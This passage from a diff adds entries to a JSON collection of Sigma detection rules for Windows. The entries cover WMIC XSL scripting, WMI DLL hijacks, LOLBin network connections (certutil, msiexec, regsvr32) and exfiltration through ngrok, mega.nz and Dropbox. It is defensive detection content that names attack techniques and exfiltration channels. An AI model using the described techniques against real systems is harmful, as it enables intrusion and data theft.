wmic and the `/FORMAT` argument switch to download and execute an XSL file (i.e js, vbs, etc).", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/10/17", + "falsepositive": [ + "The command wmic os get lastboottuptime loads vbscript.dll", + "The command wmic os get locale loads vbscript.dll", + "Since the ImageLoad event doesn't have enough information in this case. It's better to look at the recent process creation events that spawned the WMIC process and investigate the command line and parent/child processes to get more insights" + ], + "filename": "image_load_wmic_remote_xsl_scripting_dlls.yml", + "level": "medium", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://securitydatasets.com/notebooks/small/windows/05_defense_evasion/SDWIN-201017061100.html", + "https://twitter.com/dez_/status/986614411711442944", + "https://lolbas-project.github.io/lolbas/Binaries/Wmic/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1220" + ] + }, + "uuid": "06ce37c2-61ab-4f05-9ff5-b1a96d18ae32", + "value": "WMIC Loading Scripting Libraries" + }, + { + "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network and loading it for a WMI DLL Hijack scenario.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/10/12", + "falsepositive": [ + "Unknown" + ], + "filename": "image_load_wmiprvse_wbemcomn_dll_hijack.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009173318.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmiprvse_wbemcomn_dll_hijack.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.lateral_movement", + "attack.t1021.002" + ] + }, + "uuid": "7707a579-e0d8-4886-a853-ce47e4575aaa", + "value": "Wmiprvse Wbemcomn DLL Hijack" + }, + { + "description": "Detects non wmiprvse loading WMI modules", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g", + "creation_date": "2019/08/10", + "falsepositive": [ + "Unknown" + ], + "filename": "image_load_wmi_module_load.yml", + "level": "informational", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190811201010.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmi_module_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ] + }, + "uuid": "671bb7e3-a020-4824-a00e-2ee5b55f385e", + "value": "WMI Modules Loaded" + }, + { + "description": "Detects WMI command line event consumers", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2018/03/07", + "falsepositive": [ + "Unknown (data set is too small; further testing needed)" + ], + "filename": "image_load_wmi_persistence_commandline_event_consumer.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmi_persistence_commandline_event_consumer.yml" + ], + "tags": [ + "attack.t1546.003", + "attack.persistence" + ] + }, + "uuid": "05936ce2-ee05-4dae-9d03-9a391cf2d2c6", + "value": "WMI Persistence - Command Line Event Consumer" + }, + { + "description": "Detects signs of potential use of the WSMAN provider from uncommon processes locally and remote execution.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/06/24", + "falsepositive": [ + "Unknown" + ], + "filename": "image_load_wsman_provider_image_load.yml", + "level": "medium", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/chadtilbury/status/1275851297770610688", + "https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/", + "https://docs.microsoft.com/en-us/windows/win32/winrm/windows-remote-management-architecture", + "https://github.com/bohops/WSMan-WinRM", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wsman_provider_image_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.lateral_movement", + "attack.t1021.003" + ] + }, + "uuid": "ad1f4bb9-8dfb-4765-adb6-2a7cfb6c0f94", + "value": "Suspicious WSMAN Provider Image Loads" + }, + { + "description": "Detects an executable in the Windows folder accessing github.com", + "meta": { + "author": "Michael Haag (idea), Florian Roth (rule)", + "creation_date": "2017/08/24", + "falsepositive": [ + "Unknown", + "@subTee in your network" + ], + "filename": "net_connection_win_binary_github_com.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/M_haggis/status/900741347035889665", + "https://twitter.com/M_haggis/status/1032799638213066752", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/exfil/Invoke-ExfilDataToGitHub.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_binary_github_com.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1105", + "attack.exfiltration", + "attack.t1567.001" + ] + }, + "uuid": "635dbb88-67b3-4b41-9ea5-a3af2dd88153", + "value": "Microsoft Binary Github Communication" + }, + { + "description": "Detects an executable in the Windows folder accessing suspicious domains", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/08/30", + "falsepositive": [ + "Unknown" + ], + "filename": "net_connection_win_binary_susp_com.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/M_haggis/status/900741347035889665", + "https://twitter.com/M_haggis/status/1032799638213066752", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_binary_susp_com.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1105" + ] + }, + "uuid": "e0f8ab85-0ac9-423b-a73a-81b3c7b1aa97", + "value": "Microsoft Binary Suspicious Communication Endpoint" + }, + { + "description": "Detects a network connection intitiated by the certutil.exe tool. Attackers can abuse `certutil.exe` to download malware or offensive security tools.", + "meta": { + "author": "frack113, Florian Roth", + "creation_date": "2022/09/02", + "falsepositive": [ + "Legitimate certutil network connection" + ], + "filename": "net_connection_win_certutil.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_certutil.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "0dba975d-a193-4ed1-a067-424df57570d1", + "value": "Certutil Initiated Connection" + }, + { + "description": "Detects process connections to a Monero crypto mining pool", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/10/26", + "falsepositive": [ + "Legitimate use of crypto miners" + ], + "filename": "net_connection_win_crypto_mining.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://www.poolwatch.io/coin/monero", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_crypto_mining.yml" + ], + "tags": [ + "attack.impact", + "attack.t1496" + ] + }, + "uuid": "fa5b1358-b040-4403-9868-15f7d9ab6329", + "value": "Windows Crypto Mining Pool Connections" + }, + { + "description": "Detects an executable, which is not an internet browser, making DNS request to legit popular websites, which were seen to be used as dead drop resolvers in previous attacks.", + "meta": { + "author": "Sorina Ionescu", + "creation_date": "2022/08/17", + "falsepositive": [ + "One might need to exclude other internet browsers found in it's network or other applications like ones mentioned above from Microsoft Defender." + ], + "filename": "net_connection_win_dead_drop_resolvers.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://content.fireeye.com/apt-41/rpt-apt41", + "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "https://blog.bushidotoken.net/2021/04/dead-drop-resolvers-espionage-inspired.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_dead_drop_resolvers.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1102", + "attack.t1102.001" + ] + }, + "uuid": "297ae038-edc2-4b2e-bb3e-7c5fc94dd5c7", + "value": "Dead Drop Resolvers" + }, + { + "description": "Detects Dllhost that communicates with public IP addresses", + "meta": { + "author": "bartblaze", + "creation_date": "2020/07/13", + "falsepositive": [ + "Communication to other corporate systems that use IP addresses from public address spaces" + ], + "filename": "net_connection_win_dllhost_net_connections.yml", + "level": "medium", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/child-processes/", + "https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_dllhost_net_connections.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.execution", + "attack.t1559.001" + ] + }, + "uuid": "cfed2f44-16df-4bf3-833a-79405198b277", + "value": "Dllhost Internet Connection" + }, + { + "description": "Detects network connections from Equation Editor", + "meta": { + "author": "Max Altgelt", + "creation_date": "2022/04/14", + "falsepositive": [ + "Unknown" + ], + "filename": "net_connection_win_eqnedt.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/forensicitguy/status/1513538712986079238", + "https://news.sophos.com/en-us/2019/07/18/a-new-equation-editor-exploit-goes-commercial-as-maldoc-attacks-using-it-spike/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_eqnedt.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203" + ] + }, + "uuid": "a66bc059-c370-472c-a0d7-f8fd1bf9d583", + "value": "Equation Editor Network Connection" + }, + { + "description": "Detects an Excel process that opens suspicious network connections to non-private IP addresses, and attempts to cover CVE-2021-42292.\nYou will likely have to tune this rule for your organization, but it is certainly something you should look for and could have applications for malicious activity beyond CVE-2021-42292.\n", + "meta": { + "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0\", Tim Shelton", + "creation_date": "2021/11/10", + "falsepositive": [ + "You may have to tune certain domains out that Excel may call out to, such as microsoft or other business use case domains.", + "Office documents commonly have templates that refer to external addresses, like sharepoint.ourcompany.com may have to be tuned.", + "It is highly recommended to baseline your activity and tune out common business use cases." + ], + "filename": "net_connection_win_excel_outbound_network_connection.yml", + "level": "medium", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://corelight.com/blog/detecting-cve-2021-42292", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_excel_outbound_network_connection.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203" + ] + }, + "uuid": "75e33ce3-ae32-4dcc-9aa8-a2a3029d6f84", + "value": "Excel Network Connections" + }, + { + "description": "Detects network connections made by the \"hh.exe\" process, which could indicate the execution/download of remotely hosted .chm files", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/05", + "falsepositive": [ + "Unknown" + ], + "filename": "net_connection_win_hh.yml", + "level": "medium", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html", + "https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_hh.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.001" + ] + }, + "uuid": "468a8cea-2920-4909-a593-0cbe1d96674a", + "value": "HH.EXE Network Connections" + }, + { + "description": "Use IMEWDBLD.exe (built-in to windows) to download a file", + "meta": { + "author": "frack113", + "creation_date": "2022/01/22", + "falsepositive": [ + "Legitimate script" + ], + "filename": "net_connection_win_imewdbld.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-10---windows---powershell-download", + "https://lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_imewdbld.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "8d7e392e-9b28-49e1-831d-5949c6281228", + "value": "Download a File with IMEWDBLD.exe" + }, + { + "description": "Detects programs that connect to typical malware back connect ports based on statistical analysis from two different sandbox system databases", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/03/19", + "falsepositive": [ + "Unknown" + ], + "filename": "net_connection_win_malware_backconnect_ports.yml", + "level": "medium", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_malware_backconnect_ports.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1571" + ] + }, + "uuid": "4b89abaa-99fe-4232-afdd-8f9aa4d20382", + "value": "Suspicious Typical Malware Back Connect Ports" + }, + { + "description": "Detects an executable accessing mega.co.nz, which could be a sign of forbidden file sharing use of data exfiltration by malicious actors", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/12/06", + "falsepositive": [ + "Legitimate use of mega.nz uploaders and tools" + ], + "filename": "net_connection_win_mega_nz.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://megatools.megous.com/", + "https://www.mandiant.com/resources/russian-targeting-gov-business", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_mega_nz.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567.001" + ] + }, + "uuid": "fdeebdf0-9f3f-4d08-84a6-4c4d13e39fe4", + "value": "Communication To Mega.nz" + }, + { + "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", + "meta": { + "author": "frack113", + "creation_date": "2022/01/16", + "falsepositive": [ + "Legitimate msiexec over networks" + ], + "filename": "net_connection_win_msiexec.yml", + "level": "medium", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_msiexec.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.007" + ] + }, + "uuid": "8e5e38e4-5350-4c0b-895a-e872ce0dd54f", + "value": "Msiexec Initiated Connection" + }, + { + "description": "Detects an executable accessing ngrok.io, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/07/16", + "falsepositive": [ + "Legitimate use of ngrok.io" + ], + "filename": "net_connection_win_ngrok_io.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://ngrok.com/", + "https://www.virustotal.com/gui/file/cca0c1182ac114b44dc52dd2058fcd38611c20bb6b5ad84710681d38212f835a/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_ngrok_io.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567.001" + ] + }, + "uuid": "18249279-932f-45e2-b37a-8925f2597670", + "value": "Communication To Ngrok.Io" + }, + { + "description": "Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/11/03", + "falsepositive": [ + "Legitimate use of ngrok" + ], + "filename": "net_connection_win_ngrok_tunnel.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/hakluke/status/1587733971814977537/photo/1", + "https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_ngrok_tunnel.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.command_and_control", + "attack.t1567", + "attack.t1568.002", + "attack.t1572", + "attack.t1090", + "attack.t1102", + "attack.s0508" + ] + }, + "uuid": "1d08ac94-400d-4469-a82f-daee9a908849", + "value": "Communication To Ngrok Tunneling Service" + }, + { + "description": "Detects suspicious network connection by Notepad", + "meta": { + "author": "EagleEye Team", + "creation_date": "2020/05/14", + "falsepositive": [ + "Unknown" + ], + "filename": "net_connection_win_notepad_network_connection.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492186586.pdf", + "https://blog.cobaltstrike.com/2013/08/08/why-is-notepad-exe-connecting-to-the-internet/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_notepad_network_connection.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.execution", + "attack.defense_evasion", + "attack.t1055" + ] + }, + "uuid": "e81528db-fc02-45e8-8e98-4e84aba1f10b", + "value": "Notepad Making Network Connection" + }, + { + "description": "Detects a Powershell process that opens network connections - check for suspicious target ports and target systems - adjust to your environment (e.g. extend filters with company's ip range')", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/03/13", + "falsepositive": [ + "Administrative scripts" + ], + "filename": "net_connection_win_powershell_network_connection.yml", + "level": "low", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://www.youtube.com/watch?v=DLtJTxMWZ2o", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_powershell_network_connection.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "1f21ec3f-810d-4b0e-8045-322202e22b4b", + "value": "PowerShell Network Connections" + }, + { + "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation", + "meta": { + "author": "frack113", + "creation_date": "2021/12/10", + "falsepositive": [ + "Legitimate python script" + ], + "filename": "net_connection_win_python.yml", + "level": "medium", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-4---port-scan-using-python", + "https://pypi.org/project/scapy/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_python.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ] + }, + "uuid": "bef0bc5a-b9ae-425d-85c6-7b2d705980c6", + "value": "Python Initiated Connection" + }, + { + "description": "Detects svchost hosting RDP termsvcs communicating with the loopback address and on TCP port 3389", + "meta": { + "author": "Samir Bousseaden", + "creation_date": "2019/02/16", + "falsepositive": [ + "Unknown" + ], + "filename": "net_connection_win_rdp_reverse_tunnel.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/SBousseaden/status/1096148422984384514", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_reverse_tunnel.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572", + "attack.lateral_movement", + "attack.t1021.001", + "car.2013-07-002" + ] + }, + "uuid": "5f699bc5-5446-4a4a-a0b7-5ef2885a3eb4", + "value": "RDP Over Reverse SSH Tunnel" + }, + { + "description": "Detects svchost hosting RDP termsvcs communicating to target systems on TCP port 80 or 443", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/04/29", + "falsepositive": [ + "Unknown" + ], + "filename": "net_connection_win_rdp_to_http.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/tekdefense/status/1519711183162556416?s=12&t=OTsHCBkQOTNs1k3USz65Zg", + "https://www.mandiant.com/resources/bypassing-network-restrictions-through-rdp-tunneling", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_to_http.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572", + "attack.lateral_movement", + "attack.t1021.001", + "car.2013-07-002" + ] + }, + "uuid": "b1e5da3b-ca8e-4adf-915c-9921f3d85481", + "value": "RDP to HTTP or HTTPS Target Ports" + }, + { + "description": "Detects network connections and DNS queries initiated by Regsvr32.exe", + "meta": { + "author": "Dmitriy Lifanov, oscd.community", + "creation_date": "2019/10/25", + "falsepositive": [ + "Unknown" + ], + "filename": "net_connection_win_regsvr32_network_activity.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/", + "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_regsvr32_network_activity.yml" + ], + "tags": [ + "attack.execution", + "attack.t1559.001", + "attack.defense_evasion", + "attack.t1218.010" + ] + }, + "uuid": "c7e91a02-d771-4a6d-a700-42587e0b1095", + "value": "Regsvr32 Network Activity" + }, + { + "description": "Detects remote PowerShell connections by monitoring network outbound connections to ports 5985 or 5986 from a non-network service account.", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g", + "creation_date": "2019/09/12", + "falsepositive": [ + "Legitimate usage of remote PowerShell, e.g. remote administration and monitoring.", + "Network Service user name of a not-covered localization" + ], + "filename": "net_connection_win_remote_powershell_session_network.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_remote_powershell_session_network.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.lateral_movement", + "attack.t1021.006" + ] + }, + "uuid": "c539afac-c12a-46ed-b1bd-5a5567c9f045", + "value": "Remote PowerShell Session (Network)" + }, + { + "description": "Detects a rundll32 that communicates with public IP addresses", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/11/04", + "falsepositive": [ + "Communication to other corporate systems that use IP addresses from public address spaces" + ], + "filename": "net_connection_win_rundll32_net_connections.yml", + "level": "medium", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://www.hybrid-analysis.com/sample/759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rundll32_net_connections.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011", + "attack.execution" + ] + }, + "uuid": "cdc8da7d-c303-42f8-b08c-b4ab47230263", + "value": "Rundll32 Internet Connection" + }, + { + "description": "Detects a script interpreter wscript/cscript opening a network connection. Adversaries may use script to download malicious payloads.", + "meta": { + "author": "frack113", + "creation_date": "2022/08/28", + "falsepositive": [ + "Legitimate scripts" + ], + "filename": "net_connection_win_script.yml", + "level": "medium", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_script.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "08249dc0-a28d-4555-8ba5-9255a198e08c", + "value": "Script Initiated Connection" + }, + { + "description": "Detects a script interpreter wscript/cscript opening a network connection to a non-local network. Adversaries may use script to download malicious payloads.", + "meta": { + "author": "frack113, Florian Roth", + "creation_date": "2022/08/28", + "falsepositive": [ + "Legitimate scripts" + ], + "filename": "net_connection_win_script_wan.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_script_wan.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "992a6cae-db6a-43c8-9cec-76d7195c96fc", + "value": "Script Initiated Connection to Non-Local Network" + }, + { + "description": "Detects a possible remote connections to Silenttrinity c2", + "meta": { + "author": "Kiran kumar s, oscd.community", + "creation_date": "2020/10/11", + "falsepositive": [ + "Unknown" + ], + "filename": "net_connection_win_silenttrinity_stager_msbuild_activity.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://www.blackhillsinfosec.com/my-first-joyride-with-silenttrinity/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_silenttrinity_stager_msbuild_activity.yml" + ], + "tags": [ + "attack.execution", + "attack.t1127.001" + ] + }, + "uuid": "50e54b8d-ad73-43f8-96a1-5191685b17a4", + "value": "Silenttrinity Stager Msbuild Activity" + }, + { + "description": "Detects suspicious network connections made by a well-known Windows binary run with no command line parameters", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/07/03", + "falsepositive": [ + "Unknown" + ], + "filename": "net_connection_win_susp_binary_no_cmdline.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/raspberry-robin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_binary_no_cmdline.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "20384606-a124-4fec-acbb-8bd373728613", + "value": "Suspicious Network Connection Binary No CommandLine" + }, + { + "description": "Detects suspicious network connection by Cmstp", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/30", + "falsepositive": [ + "Unknown" + ], + "filename": "net_connection_win_susp_cmstp.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_cmstp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.003" + ] + }, + "uuid": "efafe0bf-4238-479e-af8f-797bd3490d2d", + "value": "Cmstp Making Network Connection" + }, + { + "description": "Detects an executable that isn't dropbox but communicates with the Dropbox API", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/04/20", + "falsepositive": [ + "Legitimate use of the API with a tool that the author wasn't aware of" + ], + "filename": "net_connection_win_susp_dropbox_api.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://app.any.run/tasks/7e906adc-9d11-447f-8641-5f40375ecebb", + "https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_dropbox_api.yml" + ], + "tags": "No established tags" + }, + "uuid": "25eabf56-22f0-4915-a1ed-056b8dae0a68", + "value": "Suspicious Dropbox API Usage" + }, + { + "description": "Detects suspicious \"epmap\" connection to a remote computer via remote procedure call (RPC)", + "meta": { + "author": "frack113, Tim Shelton (fps)", + "creation_date": "2022/07/14", + "falsepositive": [ + "Unknown" + ], + "filename": "net_connection_win_susp_epmap.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://github.com/RiccardoAncarani/TaskShell/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_epmap.yml" + ], + "tags": [ + "attack.lateral_movement" + ] + }, + "uuid": "628d7a0b-7b84-4466-8552-e6138bc03b43", + "value": "Suspicious Epmap Connection" + }, + { + "description": "Detects suspicious outbound network activity via kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.", + "meta": { + "author": "Ilyas Ochkov, oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Other browsers" + ], + "filename": "net_connection_win_susp_outbound_kerberos_connection.yml", + "level": "high", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://github.com/GhostPack/Rubeus", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_kerberos_connection.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558", + "attack.lateral_movement", + "attack.t1550.003" + ] + }, + "uuid": "e54979bd-c5f9-4d6c-967b-a04b19ac4c74", + "value": "Suspicious Outbound Kerberos Connection" + }, + { + "description": "Detects suspicious connections from Microsoft Sync Center to non-private IPs.", + "meta": { + "author": "elhoim", + "creation_date": "2022/04/28", + "falsepositive": [ + "Unknown" + ], + "filename": "net_connection_win_susp_outbound_mobsync_connection.yml", + "level": "medium", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_mobsync_connection.yml" + ], + "tags": [ + "attack.t1055", + "attack.t1218", + "attack.execution", + "attack.defense_evasion" + ] + }, + "uuid": "9f2cc74d-78af-4eb2-bb64-9cd1d292b87b", + "value": "Microsoft Sync Center Suspicious Network Connections" + }, + { + "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.\nThe data may also be sent to an 